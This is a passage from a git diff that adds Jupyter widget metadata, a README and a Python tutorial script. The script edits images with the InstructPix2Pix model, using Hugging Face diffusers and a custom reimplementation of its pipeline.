"_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8b41d5c904a942a0bcee642499015089", + "IPY_MODEL_84df3286d6044ab5aa6e8cb6c8d1b813", + "IPY_MODEL_e0448b4988f643dd9f12e4fca280dbee" + ], + "layout": "IPY_MODEL_f259a8f8222c41eea77498acd6d4e4aa" + } + }, + "f019b7a1faf1469c87b048319a9b71ef": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f0ad1221f0f84ac085df2315bd00d572": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f0aebefd751e48939aae8e3eac7adfde": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_90ddc85bb3e84773acf73b9a16b4f0be", + "placeholder": "​", + "style": "IPY_MODEL_440bb669cff048cea2363b50d28521ed", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "f0c88afdf3ac4ca3b63be6f561bbf5f0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f259a8f8222c41eea77498acd6d4e4aa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f25cbe3e352d44c9849191bbb8e9d4d9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f38555fda53a4edf92271a97db3f7dd5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f3d1f71549674156b493e3771784ec68": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f3f3d0fa7c164320b7f11f68a3915899": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f40c98061f2946b1885193ee817c52a3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f48ce6b6925b4b058f8679d73c039ac8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f546e96ee51643839dd2d98d09df9c87": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f6239b69aa6e4ece90cdb6fabf707c57": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f6787f179f0c4dc6b420085606784de9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f6ecc0d4fe1545d8bd0a16de5960285b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f76d97ab2a6e46d5891af7fc0c3f511b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f7728f9c5b0f4f4ca084119f74e9dcaf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "fa37cd2e2ac94455ab624a75eb0a105d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "fa82f3acd0794629b0a5af2383807c2c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "fb156e0150e24ec9a367a1e26c4750ec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_740417603bd94bf698fdba5b374d7c3a", + "placeholder": "​", + "style": "IPY_MODEL_2ddf4013353e48b9a62c70e2eb68502e", + "value": "100%" + } + }, + "fb21fb73c13f4b12a6e917160f5891ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8b08803f05bb47a1b83ebeff76e7caf7", + "max": 518, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_27544c3774b54c018270a66ebbd06edb", + "value": 518 + } + }, + "fbbee3ba802b41c084ee35dccc8bbabf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fcc8de512f89491ab8b7a50cc37f83f5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fd5335a0dce5483bba6b91db1e32346e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "fe213a7fa3c44223847fd5cf3b05a9a5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ff5ca71e3f254e82ba648f2b5a000de2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_efa4ce6a37094cd483fa4e39b7ae04eb", + "IPY_MODEL_1529067d721f4287b26e576942b5bc97", + "IPY_MODEL_1763740db60f490493e2fe10d35cc58e" + ], + "layout": "IPY_MODEL_40ea712393314cfe9452f6b14bfd58e6" + } + }, + "ff7172bc118f4f22bc1acbe531787b42": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ff7c3d43d89a40a9941f2b9baf8e9fd9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/edit-images-instruct-pix2pix/README.md b/machine-learning/edit-images-instruct-pix2pix/README.md new file mode 100644 index 00000000..8800db36 --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/README.md @@ -0,0 +1 @@ +# [How to Edit Images using InstructPix2Pix in Python](https://www.thepythoncode.com/article/edit-images-using-instruct-pix2pix-with-huggingface) \ No newline at end of file diff --git a/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py b/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py new file mode 100644 index 00000000..97874151 --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py @@ -0,0 +1,389 @@ +# %% +!pip install -qU diffusers accelerate safetensors transformers + +# %% [markdown] +# # Hugging Face + +# %% +import PIL +import requests +import torch +from diffusers import StableDiffusionInstructPix2PixPipeline, EulerAncestralDiscreteScheduler + + +# %% +def download_image(url): + image = PIL.Image.open(requests.get(url, stream=True).raw) + image = PIL.ImageOps.exif_transpose(image) + image = image.convert("RGB") + return image + +# %% +model_id = "timbrooks/instruct-pix2pix" +pipe = StableDiffusionInstructPix2PixPipeline.from_pretrained(model_id, torch_dtype=torch.float16, safety_checker=None) +pipe.to("cuda") +pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(pipe.scheduler.config) + + +# %% +url = "https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg" +image = download_image(url) +image + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.5).images +images[0] + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +image = download_image(url) +image + +# %% +prompt = "turn the bird to red" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images +images[0] + +# %% +url = "https://cdn.pixabay.com/photo/2018/05/08/06/52/vacation-3382400_640.jpg" +image = download_image(url) +image + +# %% +prompt = "turn the suitcase yellow" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.7).images +images[0] + +# %% + + +# %% + + +# %% [markdown] +# # Custom implementation + +# %% +from tqdm import tqdm +from torch import autocast + +# %% +class InstructPix2PixPipelineCustom: + """custom implementation of the InstructPix2Pix Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + scheduler, + image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.scheduler = scheduler + self.image_processor = image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + def get_prompt_embeds(self, prompt, prompt_negative=None): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + + if prompt_negative is None: + prompt_negative = [''] + elif isinstance(prompt_negative, str): + prompt_negative = [prompt_negative] + + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds(prompt_negative) + + # instructpix2pix takes conditional embeds first, followed by unconditional embeds twice + # this is different from other diffusion pipelines + prompt_embeds = torch.cat([cond_embeds, uncond_embeds, uncond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """transform image from pytorch tensor to PIL format""" + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_image_latents(self, image): + """get image latents to be used with classifier free guidance""" + + # get conditional image embeds + image = image.to(self.device) + image_latents_cond = self.vae.encode(image).latent_dist.mode() + + # get unconditional image embeds + image_latents_uncond = torch.zeros_like(image_latents_cond) + image_latents = torch.cat([image_latents_cond, image_latents_cond, image_latents_uncond]) + + return image_latents + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, num_channels_latents, height, width)) + image_latents = image_latents.to(self.device) + + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + image_latents, + timesteps, + latents, + guidance_scale, + image_guidance_scale): + """denoises latents from noisy latent to a meaningful latent as conditioned by image_latents""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents *thrice* to do classifier free guidance + latent_model_input = torch.cat([latents] * 3) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + + latent_model_input = torch.cat([latent_model_input, image_latents], dim=1) + + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet(latent_model_input, t, + encoder_hidden_states=prompt_embeds)['sample'] + + # separate predictions into conditional (on text), conditional (on image) and unconditional outputs + noise_pred_text, noise_pred_image, noise_pred_uncond = noise_pred.chunk(3) + # perform guidance + noise_pred = ( + noise_pred_uncond + + guidance_scale * (noise_pred_text - noise_pred_image) + + image_guidance_scale * (noise_pred_image - noise_pred_uncond) + ) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def __call__(self, + prompt, + image, + prompt_negative=None, + num_inference_steps=20, + guidance_scale=7.5, + image_guidance_scale=1.5): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt, prompt_negative) + + # preprocess image + image = self.image_processor.preprocess(image) + + # prepare image latents + image = image.half() + image_latents = self.get_image_latents(image) + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps) + timesteps = self.scheduler.timesteps + + height_latents, width_latents = image_latents.shape[-2:] + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.vae.config.latent_channels + batch_size = prompt_embeds.shape[0] // 2 + latents = self.get_initial_latents(height_latents, width_latents, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + image_latents, + timesteps, + latents, + guidance_scale, + image_guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) # change dtype of latents since + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = image.detach() # detach to remove any computed gradients + image = self.transform_image(image) + + return image + +# %% +# We can get all the components from the InstructPix2Pix Pipeline +vae = pipe.vae +tokenizer = pipe.tokenizer +text_encoder = pipe.text_encoder +unet = pipe.unet +scheduler = pipe.scheduler +image_processor = pipe.image_processor + +# %% +custom_pipe = InstructPix2PixPipelineCustom(vae, tokenizer, text_encoder, unet, scheduler, image_processor) + +# %% +url = "https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg" +image = download_image(url) +image + +# %% +# sample image 1 +prompt = "convert the lady into a highly detailed marble statue" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% +url = "https://cdn.pixabay.com/photo/2023/03/22/01/41/little-girl-7868485_640.jpg" +image = download_image(url) +image + +# %% +# sample image 2 +prompt = "turn into 8k anime" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% [markdown] +# # Limitations + +# %% +prompt = "turn entire pic into anime frame" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% + + +# %% [markdown] +# # Rough +# + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=2).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, 